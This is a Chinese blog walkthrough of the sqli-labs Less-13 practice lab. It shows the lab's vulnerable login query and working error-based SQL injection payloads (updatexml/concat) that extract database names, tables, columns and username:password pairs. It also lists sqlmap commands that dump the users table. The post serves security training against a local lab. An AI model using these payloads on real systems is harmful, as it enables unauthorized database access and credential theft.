详细介绍:sqli-labs:Less-13关卡详细解析

1. 思路

本关的SQL语句为:

@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
  • 注入类型:字符串型(单引号、括号包裹)、POST请求
  • 提示:参数需以')闭合

php输出语句的部分代码:

if($row)
{
//echo '<font color= "#0000ff">'; 
  echo "<br>";
    echo '<font color= "#FFFF00" font size = 4>';
      //echo " You Have successfully logged in " ;
      echo '<font size="3" color="#0000ff">';
        echo "<br>";
          //echo 'Your Login name:'. $row['username'];
          //echo "<br>";
            //echo 'Your Password:' .$row['password'];
            //echo "<br>";
            echo "</font>";
            echo "<br>";
              echo "<br>";
                echo '<img src="../images/flag.jpg" />';
              echo "</font>";
              }

可以看到没有回显语句,那就需要用到盲注手段,首选报错盲注,问就是sql语句少:

  • 布尔盲注
  • 时间盲注
  • 报错盲注✅

在这里插入图片描述


2. 手工注入步骤

我的地址栏是:http://localhost:8081/Less-13/,只需要将下面的urlpost data放入对应位置,粘贴即可。

2.1. 判断能否注入⚡

uname=1') order by 3 #
&passwd=admin&submit=Submit
  • order by 3:探测字段数(报错说明字段数=2)

在这里插入图片描述


2.2. 获取数据库⚡

uname=1') and updatexml(1,concat(1,(select database())),3) #
&passwd=admin&submit=Submit

在这里插入图片描述


2.3. 获取表名⚡

uname=1') and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) #
&passwd=admin&submit=Submit

在这里插入图片描述


2.4. 获取字段⚡

uname=1') and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) #
&passwd=admin&submit=Submit

在这里插入图片描述


2.5. 获取数据⚡

uname=1') and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3)#
&passwd=admin&submit=Submit

在这里插入图片描述


2.6. 参数汇总表⭐

参数作用示例
')闭合符号id=1')
#注释符#
order by判断字段数order by 3
updatexml()报错注入函数updatexml(1,(select database()),3)
concat()字符串拼接函数concat('a','b')concat(1,(select database()))
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. SQLMap工具测试

url地址换成自己的,比如:http://localhost:8081/Less-13/,由于本关卡为post请求,需要加参数指明请求格式,
--data="uname=1&passwd=123456"unamepasswd的值随意,具体如下:⭐

# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-13/" --data="uname=1&passwd=123456" --batch
# 爆数据库
python sqlmap.py -u "url" --data="uname=1&passwd=123456" --dbs --batch
# 爆表名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security --tables --batch
# 爆列名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users --columns --batch
# 爆数据
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users -C id,username,password --dump --batch

命令1截图:
在这里插入图片描述

命令5截图:
在这里插入图片描述

SQLMap参数表⭐

参数功能
--data指定post请求
--batch非交互模式
--dbs枚举数据库
-D指定数据库
-T指定表
-C指定列
--dump导出数据

4. 总结

关于post请求,本关卡与关卡11的解法相仿,但关卡11的解析更为详细,欢迎大家移步"sqli-labs:Less-11关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149805916?spm=1011.2124.3001.6209

有关报错盲注的解析,关卡5最为详细,欢迎移步"sqli-labs:Less-5关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

posted on 2025-08-01 17:30  ljbguanli  阅读(10)  评论(0)    收藏  举报